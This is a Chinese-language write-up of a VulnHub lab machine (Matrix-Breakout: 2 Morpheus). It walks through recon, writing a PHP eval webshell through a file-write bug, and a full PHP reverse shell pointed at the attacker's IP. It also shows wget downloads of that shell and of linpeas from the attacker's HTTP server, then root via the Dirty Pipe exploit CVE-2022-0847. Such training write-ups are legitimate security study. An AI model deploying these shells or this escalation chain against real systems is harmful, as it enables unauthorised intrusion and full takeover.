vulnhub靶場之MATRIX-BREAKOUT: 2 MORPHEUS

2023-03-03 12:00:18

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:Matrix-Breakout: 2 Morpheus,下載地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下載後直接vm開啟即可。

知識點:檔案上傳、php偽協定、shell反彈、漏洞收集指令碼的使用、CVE-2022-0847提權。

一:資訊收集

1.nmap掃描

通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 172.20.10.0/24,獲得靶機地址:172.20.10.3。

使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 172.20.10.3,顯示開放了22埠、80埠、81埠,開啟了http服務、ssh服務。

2.目錄掃描

使用gobuster進行目錄掃描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現robots.txt、graffiti.txt、graffiti.php等檔案。

二:獲取shell

1.burpsuite抓包

存取下掃描到的檔案資訊,獲得如下資訊:

使用brupsuite抓取提交的封包進行分析,發現其存在引數file=graffiti.txt,並且返回的封包中顯示了graffiti.txt檔案的資訊。

那這裡就存在檔案讀取漏洞。那我們使用php偽協定讀取下graffiti.php檔案的原始碼資訊,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,將獲得加密資料進行base64解碼,獲得原始碼資訊。

graffiti.php程式碼資訊

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<?php

$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['file'])) {
       $file=$_POST['file'];
    }
    if (isset($_POST['message'])) {
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
        fwrite($handle, $_POST['message']);
	fwrite($handle, "\n");
        fclose($file); 
    }
}

// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
  echo fgets($handle);
  echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

2.檔案上傳獲取shell

分析graffiti.php程式碼發現,當$file引數預設為graffiti.txt,但是當我們傳遞$file引數時會覆蓋掉原來的預設值,因此這裡我們可以直接寫入後門檔案,一句話後門:<?php%20eval($_POST['x']);?>,然後使用蟻劍進行連線,成功獲得shell許可權。這裡注意下使用get的時候會出問題,儘量使用POST。

3.shell反彈

在這個網站:https://www.revshells.com/,使用php生成shell反彈指令碼,然後在kali中開啟web服務:python -m http.server,將shell反彈指令碼下載到靶機:wget http://172.20.10.7:8000/backShell.php,在web中存取該檔案即可獲得反彈shell:http://172.20.10.3/backShell.php。

backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

獲得shell許可權後在當前目錄下發現FLAG.txt檔案,存取該檔案獲得flag值。

三:提權

1.漏洞資訊查詢

在shell中一番查詢也未發現有用的資訊,在home下發現兩個賬戶資訊,但是查詢和兩個賬戶有關的資訊,也未發現有啥可利用的資訊。

那就直接上指令碼吧,利用指令碼查詢下可以利用的漏洞資訊。指令碼連結:連結:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取碼:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然後賦予執行許可權進行執行。

執行指令碼後發現存在cve-2022-0847漏洞,這裡可以嘗試使用該漏洞進行提權,查詢下該漏洞的提權方式:https://github.com/imfiver/CVE-2022-0847。

2.CVE-2022-0847提權

下載提權指令碼後上傳到靶機,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,賦予執行許可權後執行該指令碼成功獲得root許可權。

獲得root許可權後在/root目錄下發現FLAG.txt檔案,存取該檔案成功獲得flag值。